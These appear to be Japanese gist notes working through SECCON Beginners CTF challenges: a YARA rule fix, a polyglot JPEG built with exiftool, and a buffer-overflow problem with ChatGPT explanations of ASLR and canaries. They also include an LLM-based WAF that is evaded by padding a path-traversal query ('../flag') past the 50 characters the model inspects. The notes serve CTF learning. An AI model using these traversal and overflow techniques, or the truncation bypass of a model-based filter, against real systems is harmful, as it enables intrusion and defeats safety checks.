ใ“ใฎใƒซใƒผใƒซ่‡ชไฝ“ใฏๆง‹ๆ–‡็š„ใซใฏๆญฃใ—ใใ€็‰นๅฎšใฎๆญฃ่ฆ่กจ็พใƒ‘ใ‚ฟใƒผใƒณใ‚’ๆŽขใ™YARAใƒซใƒผใƒซใจใ—ใฆๆฉŸ่ƒฝใ—ใพใ™ใ€‚ใ—ใ‹ใ—ใชใŒใ‚‰ใ€ๆญฃ่ฆ่กจ็พใซๅฐใ•ใชๅ•้กŒใŒใ‚ใ‚Šใพใ™ใ€‚

ใ“ใ“ใงๆŒ‡ๅฎšใ•ใ‚Œใฆใ„ใ‚‹ๆญฃ่ฆ่กจ็พ /ctf4b{[0x21-0x7e\s]+}/ ใฏใ€ctf4b{} ใฎไธญใซ ASCII ใ‚ณใƒผใƒ‰ใฎ็ฏ„ๅ›ฒ 0x21๏ผˆ"!"๏ผ‰ใ‹ใ‚‰ 0x7E๏ผˆ"~"๏ผ‰ใพใŸใฏใ‚นใƒšใƒผใ‚นๆ–‡ๅญ—๏ผˆ\s๏ผ‰ใŒ1ๅ›žไปฅไธŠ็นฐใ‚Š่ฟ”ใ•ใ‚Œใ‚‹ๆ–‡ๅญ—ๅˆ—ใ‚’ๆŽขใ—ใพใ™ใ€‚ใ“ใ‚Œใฏใ€ASCIIใฎๅฐๅญ—ๅฏ่ƒฝใชๆ–‡ๅญ—๏ผˆใ‚นใƒšใƒผใ‚นๅซใ‚€๏ผ‰ใ‚’ใƒžใƒƒใƒใ™ใ‚‹ใ“ใจใ‚’ๆ„ๅ›ณใ—ใฆใ„ใ‚‹ใจๆ€ใ‚ใ‚Œใพใ™ใ€‚

ใ—ใ‹ใ—ใชใŒใ‚‰ใ€ๆญฃ่ฆ่กจ็พใงใฎๆ–‡ๅญ—ใ‚ฏใƒฉใ‚น๏ผˆ[] ๅ†…ใฎ็ฏ„ๅ›ฒ๏ผ‰ใซใŠใ„ใฆใฏใ€16้€ฒๆ•ฐ่กจ่จ˜๏ผˆ0x21 ใ‚„ 0x7e๏ผ‰ใฏไฝฟใˆใพใ›ใ‚“ใ€‚ๅฐๅญ—ๅฏ่ƒฝใช ASCII ๆ–‡ๅญ—ใฎ็ฏ„ๅ›ฒใฏ [\x20-\x7E] ใฎใ‚ˆใ†ใซ่กจ็พใ•ใ‚Œใพใ™ใ€‚ใ—ใŸใŒใฃใฆใ€ใ“ใฎใƒซใƒผใƒซใ‚’ๆ„ๅ›ณ้€šใ‚Šใซๅ‹•ไฝœใ•ใ›ใ‚‹ใŸใ‚ใซใฏใ€ๆญฃ่ฆ่กจ็พใ‚’ๆฌกใฎใ‚ˆใ†ใซไฟฎๆญฃใ™ในใใงใ™๏ผš

rule ctf_string {
    strings:
        $ctf_flag = /ctf4b{[\x20-\x7e]+}/
    condition:
        $ctf_flag
}

ใ“ใฎไฟฎๆญฃๅพŒใฎใƒซใƒผใƒซใฏใ€ๅฐๅญ—ๅฏ่ƒฝใชASCIIๆ–‡ๅญ—๏ผˆใ‚นใƒšใƒผใ‚นๅซใ‚€๏ผ‰ใŒ1ใคไปฅไธŠ็ถšใ ctf4b{} ๅฝขๅผใฎๆ–‡ๅญ—ๅˆ—ใ‚’ๆคœๅ‡บใ—ใพใ™ใ€‚

ใ“ใ‚Œใงๅผ•ใฃใ‹ใ‹ใ‚Šใฏใ™ใ‚‹ๆจกๆง˜

$ nc yaro.beginners.seccon.games 5003

rule:
rule ctf_string {
    strings:
        $ctf_flag = /ctf4b{[\x20-\x7e]+}/
    condition:
        $ctf_flag
}

OK. Now I find the malware from this rule:
rule ctf_string {
    strings:
        $ctf_flag = /ctf4b{[\x20-\x7e]+}/
    condition:
        $ctf_flag
}
Not found: ./redir.sh
Not found: ./server.py
Found: ./flag.txt, matched: [ctf_string]
Not found: ./requestments.txt

@hassaku63
Copy link
Copy Markdown
Author

YARO ใฏไธ€ๆ—ฆ่ซฆใ‚ใŸใ€‚

ใŸใถใ‚“ flag.txt ใฎไธญ่บซใ‚’ๅ–ใ‚Šๅ‡บใ›ใ‚Œใฐใ„ใ„ใ‚“ใ ใ‚ใ†ใจๆ€ใ†ใฎใ ใŒใ€

ใ‚ตใƒผใƒใƒผใ‚ตใ‚คใƒ‰ใ‚’ๅค‰ๆ›ดใ—ใชใ„ใงใใ‚Œใ‚’ๅฎŸ็พใงใใ‚‹ๆ–นๆณ•ใŒใ‚ใ‹ใ‚‰ใชใ„

@hassaku63
Copy link
Copy Markdown
Author

polyglot4b

ใ‚ณใƒผใƒ‰ใ‚’่ฆ‹ใฆใฟใ‚‹ใจใ€ๅ…ฅๅŠ›ใ•ใ‚ŒใŸใƒ‡ใƒผใ‚ฟใŒ file ใ‚ณใƒžใƒณใƒ‰ใงๅˆคๅฎšใ—ใŸใจใใซ JPG, PNG, GIF, TXT ใฎๅ…จใฆใซใƒžใƒƒใƒใ™ใ‚‹ใ‚ˆใ†ใชใ‚ณใƒณใƒ†ใƒณใƒ„ใซใชใ‚Œใฐ่‰ฏใ„ใ€ใจใ„ใ†้ขจใซ่ชญใ‚ใ‚‹

ChatGPT ใ•ใ‚“ใซ่žใ„ใฆใฟใŸ

file ใ‚ณใƒžใƒณใƒ‰ใฎ็ตๆžœใŒใ€ไปฅไธ‹ใฎ4ใคใฎๆ–‡ๅญ—ๅˆ—ใ‚’ๅŒๆ™‚ใซๅซใ‚€ใ‚ˆใ†ใชใƒ•ใ‚กใ‚คใƒซใฏไฝœๆˆๅฏ่ƒฝใงใ™ใ‹๏ผŸ

JPG
PNG
GIF
TXT

file ใ‚ณใƒžใƒณใƒ‰ใฏใ€ใƒ•ใ‚กใ‚คใƒซใฎๅ†…ๅฎนใ‚’ๅˆ†ๆžใ—ใฆใใฎ็จฎ้กžใ‚’ๆŽจๆธฌใ—ใพใ™ใ€‚ใใ‚Œใžใ‚Œใฎใƒ•ใ‚กใ‚คใƒซใ‚ฟใ‚คใƒ—๏ผˆJPGใ€PNGใ€GIFใ€TXT๏ผ‰ใฏ็‰นๅฎšใฎๅฝขๅผใจๆง‹้€ ใ‚’ๆŒใกใ€ใใ‚Œใžใ‚ŒใŒ็•ฐใชใ‚‹ใƒใ‚คใƒŠใƒชใ‚ทใ‚ฐใƒใƒใƒฃ๏ผˆใƒ•ใ‚กใ‚คใƒซใƒ˜ใƒƒใƒ€๏ผ‰ใ‚’ๆŒใกใพใ™ใ€‚

ใ—ใŸใŒใฃใฆใ€็•ฐใชใ‚‹ใƒ•ใ‚กใ‚คใƒซใ‚ฟใ‚คใƒ—ใ‚’ไธ€ใคใฎใƒ•ใ‚กใ‚คใƒซใซๆททๅœจใ•ใ›ใ‚‹ใ“ใจใฏ้€šๅธธใฏไธๅฏ่ƒฝใงใ€file ใ‚ณใƒžใƒณใƒ‰ใŒไธ€ใคใฎใƒ•ใ‚กใ‚คใƒซใซๅฏพใ—ใฆใ€ŒJPGใ€ใ€ŒPNGใ€ใ€ŒGIFใ€ใ€ŒTXTใ€ใฎๅ…จใฆใ‚’ๅŒๆ™‚ใซ่ฟ”ใ™ใ“ใจใฏ็„กใ„ใจๆ€ใ‚ใ‚Œใพใ™ใ€‚ใ“ใฎใ‚ณใƒžใƒณใƒ‰ใฏใƒ•ใ‚กใ‚คใƒซใฎๅ…ˆ้ ญ้ƒจๅˆ†ใ‚’่ชญใฟๅ–ใ‚‹ใ“ใจใงใใฎใƒ•ใ‚กใ‚คใƒซใ‚ฟใ‚คใƒ—ใ‚’ๆฑบๅฎšใ—ใพใ™ใ€‚

ใ—ใ‹ใ—ใชใŒใ‚‰ใ€็‰นๆฎŠใชใ‚ทใƒŠใƒชใ‚ชใจใ—ใฆใฏใ€็‰นๅฎšใฎใƒ•ใ‚กใ‚คใƒซใƒ•ใ‚ฉใƒผใƒžใƒƒใƒˆใŒไป–ใฎ่ค‡ๆ•ฐใฎใƒ•ใ‚กใ‚คใƒซใ‚ฟใ‚คใƒ—ใ‚’ๅ†…ๅŒ…ใ™ใ‚‹ใ‚ˆใ†ใชๅฝขใง่จญ่จˆใ•ใ‚Œใฆใ„ใ‚‹ๅ ดๅˆใŒใ‚ใ‚Šใพใ™ใ€‚ไพ‹ใˆใฐใ€ไธ€้ƒจใฎใ‚ขใƒผใ‚ซใ‚คใƒ–ใƒ•ใ‚กใ‚คใƒซใ‚„ใ‚ณใƒณใƒ†ใƒŠใƒ•ใ‚ฉใƒผใƒžใƒƒใƒˆใฏ่ค‡ๆ•ฐใฎใƒ•ใ‚กใ‚คใƒซใ‚ฟใ‚คใƒ—ใ‚’ไธ€ใคใฎใƒ•ใ‚กใ‚คใƒซๅ†…ใซไฟๆŒใ™ใ‚‹ใ“ใจใŒๅฏ่ƒฝใงใ™ใ€‚ใใ‚Œใงใ‚‚ใ€file ใ‚ณใƒžใƒณใƒ‰ใŒใ“ใ‚Œใ‚‰ใ‚’ๆญฃใ—ใ่งฃ้‡ˆใ—ใ€ไธ€ใคใฎใƒ•ใ‚กใ‚คใƒซใซๅฏพใ—ใฆ่ค‡ๆ•ฐใฎใƒ•ใ‚กใ‚คใƒซใ‚ฟใ‚คใƒ—ใ‚’็คบใ™ใ‚ˆใ†ใชๆŒ™ๅ‹•ใฏใ—ใชใ„ใฏใšใงใ™ใ€‚

่ฆ็ด„ใ™ใ‚‹ใจใ€file ใ‚ณใƒžใƒณใƒ‰ใŒใ€ŒJPGใ€ใ€ŒPNGใ€ใ€ŒGIFใ€ใ€ŒTXTใ€ใ‚’ๅŒๆ™‚ใซ่ฟ”ใ™ใ‚ˆใ†ใชไธ€ใคใฎใƒ•ใ‚กใ‚คใƒซใ‚’ไฝœๆˆใ™ใ‚‹ใ“ใจใฏไธๅฏ่ƒฝใจ่จ€ใฃใฆใ‚ˆใ„ใงใ—ใ‚‡ใ†ใ€‚

@hassaku63
Copy link
Copy Markdown
Author

file ใ‚ณใƒžใƒณใƒ‰ใงใ‚ตใƒณใƒ—ใƒซใƒ•ใ‚กใ‚คใƒซ่ฆ‹ใฆใฟใŸใ€‚

$ file -bkr sample/sushi.jpg               
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=CTF4B], baseline, precision 8, 1404x790, components 3 - data

description ใŒ่‡ช็”ฑ่จ˜่ฟฐใงใใใ†ใชใฎใงใ€ใ“ใ“ใซไป‹ๅ…ฅใงใใ‚Œใฐใ„ใ„ใ‚“ใ˜ใ‚ƒใชใ„๏ผŸใจใ„ใ†็™บๆƒณใซใชใฃใŸใ€‚

@hassaku63
Copy link
Copy Markdown
Author

ChatGPT ใซ่žใ„ใŸใ€‚

jpeg ใƒ•ใ‚กใ‚คใƒซใฎ description ใ‚’ๅ‚็…งใงใใ€ใ‹ใคๆ›ธใๆ›ใˆใงใใ‚‹ๆ–นๆณ•ใ‚’ๆ•™ใˆใฆใใ ใ•ใ„ใ€‚
ใ‚ณใƒžใƒณใƒ‰ใƒฉใ‚คใƒณใƒ„ใƒผใƒซใ‹ใ€Python ใ‚’ไฝฟใฃใฆใใ ใ•ใ„ใ€‚

Pillow ใฎๅฎŸ่ฃ…ใ‚’็ดนไป‹ใ—ใฆใใ‚ŒใŸใŒใ€dict ใงๅ–ๅพ—ใ—ใŸ Exif ๆƒ…ๅ ฑใ‚’ๅค‰ๆ›ดใ—ใฆๆ›ธใ่พผใ‚‚ใ†ใจใ™ใ‚‹ใจ dict ใฏๅฏพๅฟœใ—ใฆใชใ„ใจใ„ใ†ใ‚จใƒฉใƒผใŒๅ‡บใŸใ€‚
ใ‚จใƒณใ‚ณใƒผใƒ‰ใ™ใ‚‹ใฎใ‚‚้ขๅ€’ใชใฎใง CLI ใƒ™ใƒผใ‚นใฎๆ‰‹ๆณ•ใซใ™ใ‚‹ใ€‚

@hassaku63
Copy link
Copy Markdown
Author

exiftool ใง description ใ‚’ๅ–ๅพ—ใ—ใฆใฟใ‚‹ใ€‚

$ exiftool -s -s -s -description sample/sushi.jpg      
CTF4B
$ cp sample/sushi.jpg out.jpg

$ exiftool -description="JPEG PNG GIF TXT" out.jpg
    1 image files updated

$ file -bkr out.jpg 
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=CTF4B], baseline, precision 8, 1404x790, components 3
- data

@hassaku63
Copy link
Copy Markdown
Author

ไปฅไธ‹ใฎใ‚ณใƒžใƒณใƒ‰ใงใ„ใ„ๆ„Ÿใ˜ใซใชใฃใŸใ€‚

$ exiftool -ImageDescription="JPEG PNG GIF ASCII" out2.jpg
    1 image files updated

$ file -bkr out2.jpg
JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, description=JPEG PNG GIF ASCII], baseline, precision 8, 1404x790, components 3
- data
$ cat out2.jpg| nc polyglot4b.beginners.seccon.games 31416

@hassaku63
Copy link
Copy Markdown
Author

aiwaf

ใƒ—ใƒญใƒณใƒ—ใƒˆใƒใƒƒใ‚ฏใ‹ใจๆ€ใฃใŸใ‚‰ใ€ใใ†ใงใ‚‚ใชใ‹ใฃใŸใ€‚

ใƒ—ใƒญใƒณใƒ—ใƒˆใ‚’ๆง‹ๆˆใ—ใฆใ„ใ‚‹ใฎใŒไปฅไธ‹ใฎใƒ†ใ‚ญใ‚นใƒˆใ€‚

prompt = f"""\
ไปฅไธ‹ใฎ{puuid}ใซๅ›ฒใพใ‚ŒใŸ้ƒจๅˆ†ใฎURLใ‚ฏใ‚จใƒชใฏใƒ‘ใ‚นใƒˆใƒฉใƒใƒผใ‚ตใƒซๆ”ปๆ’ƒใงใ—ใ‚‡ใ†ใ‹๏ผŸ
ใใ†ใงใ‚ใ‚‹ๅ ดๅˆYesใ‚’ใ€้•ใ†ๅ ดๅˆNoใ‚’่ฟ”ใ—ใฆใใ ใ•ใ„ใ€‚
../ใ‚„flagใจใ„ใ†ๆ–‡ๅญ—ๅˆ—ใŒๅซใพใ‚Œใฆใ„ใŸๅ ดๅˆใ‚‚Yesใ‚’่ฟ”ใ—ใฆใใ ใ•ใ„ใ€‚

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""

ใชใฎใงใ€50ๆ–‡ๅญ—ไปฅ้™ใซใƒˆใƒฉใƒใƒผใ‚ตใƒซใฎใ‚ฏใ‚จใƒชใŒๆฅใ‚ŒใฐOKใ€‚

ไพ‹ใˆใฐใ“ใ‚“ใชๆ„Ÿใ˜ใ€‚

https://aiwaf.beginners.seccon.games/?text=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&file=../flag

@hassaku63
Copy link
Copy Markdown
Author

hassaku63 commented Jun 3, 2023

rewriter2

ใ‚ณใƒผใƒ‰ใ‚’่ฆ‹ใŸๆ„Ÿใ˜ใ€32byte ใฎๅ…ฅๅŠ›ใ‚’2ๅ›ž่กŒใ†ใ“ใจใงใ€
ใ‚ใ‚‹ใ„ใฏ2ๅ›ž่กŒใฃใŸๅพŒใฎ __show_stack() ใงใƒใƒƒใƒ•ใ‚กใ‚ชใƒผใƒใƒผใƒ•ใƒญใƒผใŒ็™บ็”Ÿใ™ใ‚‹ใ‚ˆใ†ใซใ—ใฆใใ‚Œใ€ใจใ„ใ†ๅ•้กŒใ‚‰ใ—ใ„

ๆ–นๆณ•ใซใคใ„ใฆใฏ ChatGPT ใซ่žใ„ใฆใฟใŸใ€‚

CTFใฎpwnableๅ•้กŒใ‚’่งฃใ„ใฆใ„ใพใ™ใ€‚
C่จ€่ชžใงๆ›ธใ‹ใ‚ŒใŸใƒ—ใƒญใ‚ฐใƒฉใƒ ใŒๆ‰‹ๅ…ƒใซใ‚ใ‚Šใพใ™ใ€‚


ใƒใƒƒใƒ•ใ‚กใ‚ชใƒผใƒใƒผใƒ•ใƒญใƒผใ‚’ๅˆฉ็”จใ—ใฆใ€main ้–ขๆ•ฐใ‹ใ‚‰็›ดๆŽฅๅ‘ผใณๅ‡บใ•ใ‚Œใฆใ„ใชใ„้–ขๆ•ฐใ‚’ๅ‘ผใณๅ‡บใ™ใซใฏใฉใ†ใ„ใฃใŸๆ–นๆณ•ใŒใ‚ใ‚Šใพใ™ใ‹๏ผŸ

ๅ‘ผใณๅ‡บใ—ใŸใ„้–ขๆ•ฐใฎใ‚ทใ‚ฐใƒใƒใƒฃใฏไปฅไธ‹ใจใ—ใพใ™ใ€‚
void win();

CTF (Capture The Flag) ใฎ pwnable ๅ•้กŒใงใฏใ€ๆง˜ใ€…ใชใƒใ‚คใƒŠใƒชใ‚จใ‚ฏใ‚นใƒ—ใƒญใ‚คใƒˆๆ‰‹ๆณ•ใ‚’ไฝฟใฃใฆใ€้€šๅธธใฏๅ‘ผใณๅ‡บใ•ใ‚Œใชใ„้–ขๆ•ฐใ‚’ๅ‘ผใณๅ‡บใ™ใ€ใ‚ใ‚‹ใ„ใฏไปปๆ„ใฎใ‚ณใƒผใƒ‰ใ‚’ๅฎŸ่กŒใ™ใ‚‹ใ“ใจใŒๆฑ‚ใ‚ใ‚‰ใ‚Œใพใ™ใ€‚

ใ‚ใชใŸใŒ่ฟฐในใŸใ‚ˆใ†ใซใ€็‰นๅฎšใฎ้–ขๆ•ฐ๏ผˆใ“ใฎๅ ดๅˆ void win();๏ผ‰ใ‚’ๅ‘ผใณๅ‡บใ™ใŸใ‚ใฎไธ€่ˆฌ็š„ใชๆ‰‹ๆณ•ใฏใƒใƒƒใƒ•ใ‚กใ‚ชใƒผใƒใƒผใƒ•ใƒญใƒผใ‚’ไฝฟใ†ใ“ใจใงใ™ใ€‚

ใƒใƒƒใƒ•ใ‚กใ‚ชใƒผใƒใƒผใƒ•ใƒญใƒผใ‚’ๅˆฉ็”จใ—ใฆใƒ—ใƒญใ‚ฐใƒฉใƒ ใฎใƒ•ใƒญใƒผใ‚’ๅˆถๅพกใ™ใ‚‹ๆ‰‹ๆณ•ใจใ—ใฆใฏใ€ไธปใซๆฌกใฎ2ใคใŒใ‚ใ‚Šใพใ™ใ€‚

  1. ใ‚นใ‚ฟใƒƒใ‚ฏใƒใƒƒใƒ•ใ‚กใ‚ชใƒผใƒใƒผใƒ•ใƒญใƒผ (Stack Buffer Overflow):
    ใ“ใฎๆ‰‹ๆณ•ใงใฏใ€ใ‚นใ‚ฟใƒƒใ‚ฏไธŠใฎใƒใƒƒใƒ•ใ‚กใซๅฏพใ™ใ‚‹ใ‚ชใƒผใƒใƒผใƒ•ใƒญใƒผใ‚’ๅˆฉ็”จใ—ใพใ™ใ€‚ๅ…ทไฝ“็š„ใซใฏใ€ใ‚นใ‚ฟใƒƒใ‚ฏไธŠใฎใƒชใ‚ฟใƒผใƒณใ‚ขใƒ‰ใƒฌใ‚นใ‚’ใ‚ชใƒผใƒใƒผใƒฉใ‚คใƒ‰ใ™ใ‚‹ใ“ใจใงใ€้–ขๆ•ฐใŒใƒชใ‚ฟใƒผใƒณใ™ใ‚‹้š›ใฎใ‚ธใƒฃใƒณใƒ—ๅ…ˆใ‚’ไปปๆ„ใฎ้–ขๆ•ฐ๏ผˆใ“ใฎๅ ดๅˆ win๏ผ‰ใซๅค‰ๆ›ดใ—ใพใ™ใ€‚

  2. ใƒ’ใƒผใƒ—ใƒใƒƒใƒ•ใ‚กใ‚ชใƒผใƒใƒผใƒ•ใƒญใƒผ (Heap Buffer Overflow):
    ใƒ’ใƒผใƒ—ไธŠใฎใƒใƒƒใƒ•ใ‚กใซๅฏพใ™ใ‚‹ใ‚ชใƒผใƒใƒผใƒ•ใƒญใƒผใ‚’ๅˆฉ็”จใ™ใ‚‹ๆ‰‹ๆณ•ใงใ™ใ€‚้–ขๆ•ฐใƒใ‚คใƒณใ‚ฟใ‚„ไปปๆ„ใฎใƒ‡ใƒผใ‚ฟๆง‹้€ ใ‚’ใ‚ชใƒผใƒใƒผใƒฉใ‚คใƒ‰ใ™ใ‚‹ใ“ใจใงใƒ—ใƒญใ‚ฐใƒฉใƒ ใฎใƒ•ใƒญใƒผใ‚’ๅˆถๅพกใ—ใพใ™ใ€‚

ใ“ใ‚Œใ‚‰ใฎๆ‰‹ๆณ•ใ‚’ๅˆฉ็”จใ™ใ‚‹ใซใฏใ€ใพใšใใฎใƒ—ใƒญใ‚ฐใƒฉใƒ ใซใƒใƒƒใƒ•ใ‚กใ‚ชใƒผใƒใƒผใƒ•ใƒญใƒผใŒๅฏ่ƒฝใช็ฎ‡ๆ‰€ใŒใ‚ใ‚‹ใ‹ใฉใ†ใ‹ใ€ไพ‹ใˆใฐ gets ใชใฉใฎๅฎ‰ๅ…จใงใชใ„้–ขๆ•ฐใŒไฝฟใ‚ใ‚Œใฆใ„ใ‚‹ใ‹ใชใฉใ‚’็ขบ่ชใ—ใพใ™ใ€‚

ใ‚‚ใ—ใƒใƒƒใƒ•ใ‚กใ‚ชใƒผใƒใƒผใƒ•ใƒญใƒผใŒๅฏ่ƒฝใงใ‚ใ‚Œใฐใ€ๆฌกใซใฉใฎใ‚ˆใ†ใซใ‚ชใƒผใƒใƒผใƒ•ใƒญใƒผใ‚’่ตทใ“ใ™ใ‹ใ€ใฉใฎใ‚ขใƒ‰ใƒฌใ‚นใซใ‚ธใƒฃใƒณใƒ—ใ™ใ‚Œใฐ win ้–ขๆ•ฐใ‚’ๅ‘ผใณๅ‡บใ›ใ‚‹ใ‹ใชใฉใ‚’่ชฟๆŸปใ—ใพใ™ใ€‚

ใ“ใ‚Œใ‚‰ใฎ่ชฟๆŸปใฏใ€ใƒ—ใƒญใ‚ฐใƒฉใƒ ใฎใ‚ฝใƒผใ‚นใ‚ณใƒผใƒ‰ใฎ่งฃๆžใ ใ‘ใงใชใใ€ใƒ‡ใƒใƒƒใ‚ฌใ‚„้€†ใ‚ขใ‚ปใƒณใƒ–ใƒฉใ‚’ไฝฟใฃใŸใƒใ‚คใƒŠใƒชใฎ่งฃๆžใ‚‚ๅซใฟใพใ™ใ€‚

ใชใŠใ€ใ“ใ‚Œใ‚‰ใฎๆ‰‹ๆณ•ใฏ็พๅฎŸใฎใ‚ทใ‚นใƒ†ใƒ ใง็”จใ„ใ‚‹ใจ้•ๆณ•่กŒ็‚บใจใชใ‚Šใพใ™ใฎใงใ€่จฑๅฏใ•ใ‚ŒใŸ็’ฐๅขƒใงใฎใฟๅˆฉ็”จใ—ใฆใใ ใ•ใ„ใ€‚

ใพใŸใ€ๅฎŸ้š›ใฎใ‚ทใ‚นใƒ†ใƒ ใงใฏใ€ASLR (Address Space Layout Randomization) ใ‚„ ใ‚นใ‚ฟใƒƒใ‚ฏใ‚ซใƒŠใƒช (Stack Canary) ใชใฉใฎไฟ่ญทใƒกใ‚ซใƒ‹ใ‚บใƒ ใŒไฝฟใ‚ใ‚Œใ‚‹ใ“ใจใŒใ‚ใ‚Šใพใ™ใ€‚ใ“ใ‚Œใ‚‰ใฎใƒกใ‚ซใƒ‹ใ‚บใƒ ใ‚’ๅ›ž้ฟใ™ใ‚‹ใŸใ‚ใฎ่ฟฝๅŠ ็š„ใชๆ‰‹ๆณ•ใ‚’็”จใ„ใ‚‹ๅฟ…่ฆใŒใ‚ใ‚‹ๅ ดๅˆใ‚‚ใ‚ใ‚Šใพใ™ใ€‚

ASLR ใ‚„ Stack Canary ใซใคใ„ใฆใ€่ฃœ่ถณใ—ใฆๆ•™ใˆใฆใใ ใ•ใ„

ใ‚‚ใกใ‚ใ‚“ใงใ™ใ€‚ใใ‚Œใžใ‚Œใฎๆฆ‚ๅฟตใซใคใ„ใฆ่ชฌๆ˜Žใ—ใพใ™ใ€‚

ASLR (Address Space Layout Randomization): ASLRใฏใƒกใƒขใƒชใ‚จใ‚ฏใ‚นใƒ—ใƒญใ‚คใƒˆใ‚’้›ฃใ—ใใ™ใ‚‹ใŸใ‚ใฎใ‚ปใ‚ญใƒฅใƒชใƒ†ใ‚ฃๆŠ€่ก“ใงใ™ใ€‚ๅ…ทไฝ“็š„ใซใฏใ€ใƒ—ใƒญใ‚ฐใƒฉใƒ ใŒใƒญใƒผใƒ‰ใ•ใ‚Œใ‚‹ใจใใซใใฎใ‚ขใƒ‰ใƒฌใ‚น็ฉบ้–“ใŒใƒฉใƒณใƒ€ใƒ ๅŒ–ใ•ใ‚Œใพใ™ใ€‚ใคใพใ‚Šใ€ๅ„ๅฎŸ่กŒใ”ใจใซใ‚นใ‚ฟใƒƒใ‚ฏใ€ใƒ’ใƒผใƒ—ใ€ใƒฉใ‚คใƒ–ใƒฉใƒชใ€ใใ—ใฆๅฎŸ่กŒๅฏ่ƒฝใ‚ณใƒผใƒ‰็ญ‰ใฎไฝ็ฝฎใŒๅค‰ใ‚ใ‚Šใพใ™ใ€‚ใใฎ็ตๆžœใ€ๆ”ปๆ’ƒ่€…ใฏไบˆใ‚ใƒกใƒขใƒชใ‚ขใƒ‰ใƒฌใ‚นใ‚’็Ÿฅใ‚‹ใ“ใจใŒใงใใšใ€ใ‚จใ‚ฏใ‚นใƒ—ใƒญใ‚คใƒˆใฎไฝœๆˆใŒ้›ฃใ—ใใชใ‚Šใพใ™ใ€‚ใ“ใฎASLRใ‚’ๅ›ž้ฟใ™ใ‚‹ๆ–นๆณ•ใฎไธ€ใคใจใ—ใฆใฏใ€ใƒชใƒผใ‚ฏๆ”ปๆ’ƒ๏ผˆLeak Attack๏ผ‰ใŒใ‚ใ‚Šใพใ™ใ€‚ใ“ใ‚Œใฏใ€ไฝ•ใ‚‰ใ‹ใฎๆ–นๆณ•ใงใƒกใƒขใƒชใ‚ขใƒ‰ใƒฌใ‚นใ‚’ๆผใ‚‰ใ™ใ“ใจใงASLRใฎๅŠนๆžœใ‚’็„กๅŠนๅŒ–ใ—ใพใ™ใ€‚

Stack Canary: ใ‚นใ‚ฟใƒƒใ‚ฏใ‚ซใƒŠใƒชใฏใ‚นใ‚ฟใƒƒใ‚ฏใƒใƒƒใƒ•ใ‚กใ‚ชใƒผใƒใƒผใƒ•ใƒญใƒผๆ”ปๆ’ƒใ‚’้˜ฒใใŸใ‚ใฎใ‚ปใ‚ญใƒฅใƒชใƒ†ใ‚ฃใƒกใ‚ซใƒ‹ใ‚บใƒ ใงใ™ใ€‚ใ“ใฎๆŠ€่ก“ใงใฏใ€้–ขๆ•ฐๅ‘ผใณๅ‡บใ—ใฎ้š›ใซไบˆใ‚ๅฎšใ‚ใ‚‰ใ‚ŒใŸใƒฉใƒณใƒ€ใƒ ใชๅ€ค๏ผˆใ‚ซใƒŠใƒชๅ€ค๏ผ‰ใ‚’ใ‚นใ‚ฟใƒƒใ‚ฏใƒ•ใƒฌใƒผใƒ ใซไฟๅญ˜ใ—ใพใ™ใ€‚้–ขๆ•ฐใŒใƒชใ‚ฟใƒผใƒณใ™ใ‚‹ๅ‰ใซใ€ใ“ใฎใ‚ซใƒŠใƒชๅ€คใŒๅค‰ๆ›ดใ•ใ‚Œใฆใ„ใชใ„ใ‹็ขบ่ชใ—ใพใ™ใ€‚ใ‚‚ใ—ใ‚ซใƒŠใƒชๅ€คใŒๅค‰ๆ›ดใ•ใ‚Œใฆใ„ใŸๅ ดๅˆใ€ใใ‚Œใฏใƒใƒƒใƒ•ใ‚กใ‚ชใƒผใƒใƒผใƒ•ใƒญใƒผๆ”ปๆ’ƒใŒ่กŒใ‚ใ‚ŒใŸใ“ใจใ‚’็คบใ—ใฆใŠใ‚Šใ€ใใฎๅ ดๅˆใƒ—ใƒญใ‚ฐใƒฉใƒ ใฏไธญๆ–ญใ•ใ‚Œใพใ™ใ€‚ใ‚นใ‚ฟใƒƒใ‚ฏใ‚ซใƒŠใƒชใ‚’ๅ›ž้ฟใ™ใ‚‹ใŸใ‚ใซใฏใ€ใ‚ซใƒŠใƒชใฎๅ€คใ‚’ๅค‰ๆ›ดใ›ใšใซใ‚จใ‚ฏใ‚นใƒ—ใƒญใ‚คใƒˆใ‚’่กŒใ†ใ‹ใ€ใ‚ใ‚‹ใ„ใฏไฝ•ใ‚‰ใ‹ใฎๆ–นๆณ•ใงใ‚ซใƒŠใƒชใฎๅ€คใ‚’ไบˆใ‚็Ÿฅใ‚‹ๅฟ…่ฆใŒใ‚ใ‚Šใพใ™ใ€‚

ใ“ใ‚Œใ‚‰ใฎใ‚ปใ‚ญใƒฅใƒชใƒ†ใ‚ฃใƒกใ‚ซใƒ‹ใ‚บใƒ ใฏ็พไปฃใฎใ‚ทใ‚นใƒ†ใƒ ใงใฏๅบƒใๆŽก็”จใ•ใ‚ŒใฆใŠใ‚Šใ€ใ‚จใ‚ฏใ‚นใƒ—ใƒญใ‚คใƒˆใ‚’ไฝœๆˆใ™ใ‚‹้š›ใซใฏใ“ใ‚Œใ‚‰ใฎใƒกใ‚ซใƒ‹ใ‚บใƒ ใ‚’ใฉใฎใ‚ˆใ†ใซๅ›ž้ฟใ™ใ‚‹ใ‹ใ‚‚่€ƒๆ…ฎใ™ใ‚‹ๅฟ…่ฆใŒใ‚ใ‚Šใพใ™ใ€‚

@hassaku63
Copy link
Copy Markdown
Author

__show_stack() ใฎๅฎŸ่ฃ…ใ‚’่ฆ‹ใ‚‹้™ใ‚Šใ€Stack canary ใฏ้š ใ•ใ‚Œใฆใ„ใ‚‹ใ‚ˆใ†ใซ่ฆ‹ใˆใ‚‹ใ€‚ใ“ใ‚ŒใฏๅพŒใ‹ใ‚‰่€ƒใˆใ‚‹ใ€‚

ใฒใจใพใšใ€้–ขๆ•ฐๅ‘ผใณๅ‡บใ—ใงใ‚นใ‚ฟใƒƒใ‚ฏใŒ็ฉใพใ‚Œใ‚‹ๅ ดๅˆใฎใƒกใƒขใƒชใƒฌใ‚คใ‚ขใ‚ฆใƒˆใ‚’็†่งฃใ™ใ‚‹ใ“ใจใ‚ใ‹ใ‚‰ใ€‚

(ChatGPT)
